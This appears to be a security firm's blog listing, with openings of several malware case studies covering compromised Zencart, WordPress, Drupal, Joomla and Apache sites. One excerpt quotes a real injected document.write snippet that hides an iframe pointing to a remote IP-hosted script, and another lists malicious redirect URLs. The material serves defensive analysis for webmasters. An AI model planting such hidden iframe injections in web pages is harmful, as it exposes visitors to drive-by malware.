Malicious iFrame Injections Host Payload on Tumblr

It’s always fun to watch malware developers using different techniques to code their creations. Sometimes it’s a matter of obfuscation, placement, injection, but this time it’s how they code it to be dynamic.

I believe this is not the first one that uses this service, but it’s the first time I’m seeing it. The concept is not new, we have often seen Twitter and Ask.fm accounts being used as malware Command & Control (C&C) servers, but now we can add Tumblr to the list.

A few weeks ago we found an iFrame injection that was relying on Tumblr to trigger the payload.

Tumblr lets you effortlessly share anything. – Tumblr

It appears they take this motto to heart!

How Does It Work?

The anatomy of this attack is very interesting.

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Mysterious Zencart Redirects Leverage HTTP Headers

About a week ago we got an interesting Zencart case. Being that we don’t often write about Zencart we figured it’d be good time to share the case and details on what we found.

The Scenario

The site was redirecting to “www .promgirl .de”. I know, not very unique.

Additionally, it was only affecting “www” instances, all “non-www” instances were working correctly with no redirects. We also noticed that it would only trigger with specific User Agents and Referrers. This shouldn’t be new as we’ve talked at length about conditional malware.

Sucuri-Zencart-Analysis

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Understanding Google’s Blacklist – Cleaning Your Hacked Website and Removing From Blacklist

Today we found an interesting case where Google was blacklisting a client’s site but not sharing the reason why. The fact they were sharing very little info should not be new, but what we found as we dove a little deeper should be. The idea is to provide you webmasters with the required insight to understand what is going on, and how to troubleshoot things when your website is blacklisted.

Get Your Bearing

While investigating the website, we found that some Google shortened URLs were being loaded and redirecting to http://bls.pw/. Two of the goo.gl links were pointing to Wikipedia images, their icon to be specific, and one was redirecting to http://bls.pw/ shortener.

goo.gl/9yBTe - http://bits.wikimedia.org/favicon/wikipedia.ico
goo.gl/hNVXP - http://bits.wikimedia.org/favicon/wikipedia.ico?2x2
goo.gl/24vi1 - http://bls.pw/

A quick search for this last URL took us to /wp-content/themes/Site’sTheme/css/iefix.sct. As malware writers like to do, it was trying to trick us into believing it was good code. In this case, the Sizzle CSS Selector Engine code (Real code here) was the target:

Sucuri  Sizzle CSS Selector Engine Modified III

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Malware Infection – Blocked by Day Limit

This week while working on a compromised site, I found an interesting variation of the Blackhole injection. We work with many sites injected with Blackhole, like this one:

Blackhole Injection

However, on this specific site, instead of the common injection we were expecting, there was an unocommon error:

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Apache Web Server Attacks Continue to Evolve

For the past few months we have seen a gradual increase in server-level compromises. In fact, every week it seems we’re handling half a dozen or so and it continues to increase. It’s one of the reasons that I have started including this as a trend in my most recent Website Security presentations.

Just last week we talked about some very sneaky hacks that targeted the Apache binaries directly in the place of the modules, contrary to what we had been seeing. Fortunately, the more sophisticated attack are still far and few in between leaving us to deal with rogue modules more often than not.

Sucuri - Website Security Trends - Server Compromises

The purpose of this image is to provide a logical representation of the evolution of website attacks. While websites are still the number one distribution mechanism, attackers are making a big effort to improve their attacks by going after server level applications in the place of the website itself, and it’s application (i.e., Custom ASP/PHP, WordPress, Joomla, etc..). The beauty of this is that the attacks becomes platform agnostic, in terms of the platform the end-user is utilizing.

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WordPress Malicious Plugin – WPPPM – Abusing 404 Redirects with SEO Poisoning

Bruno Borges, of our security team, came across an interesting case this week, in which a WordPress plugin was abusing the 404 rewrite rules and redirecting all traffic to SPAM pages advertising a variety of things, the most common being:

FACTUAL STUDY: HYDROXYCITRIC ACID IN GARCINIA CAMBOGIA BURNS FAT.

The way it works is interesting, by default most would never realize they are even infected. The plugin is designed only to redirect incoming traffic that accidentally goes to a page that doesn’t exist. In most cases it would generates what we know as 404 pages, or state something like, Sorry this page doesn’t exist, etc… Well in this case, you’d be greeted with something like the following:

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Web Server Compromise – Debian Distro – Identify and Remove Corrupt Apache Modules

Came across another server compromise this week. Client was complaining that the following kept being injected into their JavaScript files:

document.write("<style.vb4brk { position:absolute; left:-1655px; top:-1476px} </style> 
<div class="vb4rk"><iframe 
src="httx:// 149.47.154.253/fee1f3119b234cb79f953e92281b12af/q.php" width="231" height="330">
</iframe></div>'); /*!

Fortunately, the client was working off a VPS. Doing so allowed us to dig deeper into the server and better address the issue. Looking at the server we quickly realized that a bad module had been injected. Unfortunately, because this was a Debian distribution, as such you can’t run the commands we provided in our last post.

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Website Malware – Drupal Injections Targeting Cookies

Many folks are unfamiliar with the Drupal CMS, it doesn’t enjoy the popularity that some others do like WordPress and Joomla, but its a powerful CMS none the less. What it does have in common with its counterparts is that its susceptible to attacks and infections. We don’t often write about it, but we do work on the platform. We decided to give it some attention this week because of the increased number of Drupal infections we’re seeing.

They’re slightly different when compared to other CMS applications and so is the remediation process. In this post we’ll show an infection that seems to be all the craze this week, findings courtesy of Fioravante Souza – one of Sr Malware Engineers.

The Payload

Most of the sites infected with this payload are also accompanied by other iframe injections. Those iframe injections are not special, they are often attached to every file – PHP, JS, HTML, and beging with document.write and reference some file like cgi?5 or cfg?11. If you have some terminal sense you should be able to find them and remove them, if you need help you can always use our free scanner, it’ll display any payloads hitting the readers browser. Here is the payload though that we were most interested in as it was obfuscated and very painful to find and remove.

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Website Malware – Sharp Increase in SPAM Attacks – WordPress & Joomla

This past week we have seen a sharp increase in the use of old tactics designed to poison your search engine results – also known as Search Engine Poisoning (SEP) attacks. If you use our free scanner, SiteCheck, you’ll likely see something like the following:

Sucuri - ViewState Infection

You’re probably wondering, what the heck, how is that SEO SPAM? Allow me to explain what this is doing.

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Website Malware – Joomla SEP Attack – Pharma Injection

This was a fun, yet painful case. In the past we have written a few different posts targeting search engine poisoning attacks (SEP) that like to use Pharmaceutical keywords and their associated links to poison your search engine results.

Today we had an interesting scenario where Google had not yet blacklisted the client, but our free scanner, SiteCheck, was in fact picking up the injection. From what we could see it was being triggered by a referrer but it wasn’t the typical referrers you’d expect, it’s condition was if it came from itself.

If you’re wondering why that is, allow me to explain. That meant that the payload would not show up the first time you visit the page, only when you visit the same page and the referrer was set to itself. This actually a very good evasive technique, it would make detection that much harder by most conventional scanners. In short, if the user clicks on the paeg once, it wouldn’t appear. This makes it very hard to detect and replicate unless you start testing every option. In this case, it wasn’t until you clicked on the option two consecutive times that the injections would appear.

You could try any other variation and it’d never work, only if you clicked on it two consecutive times. How annoying is that !!! This probably explains why Google and many others never picked it up.

In either event, this was a Joomla site and so the question was, where the heck is this thing.

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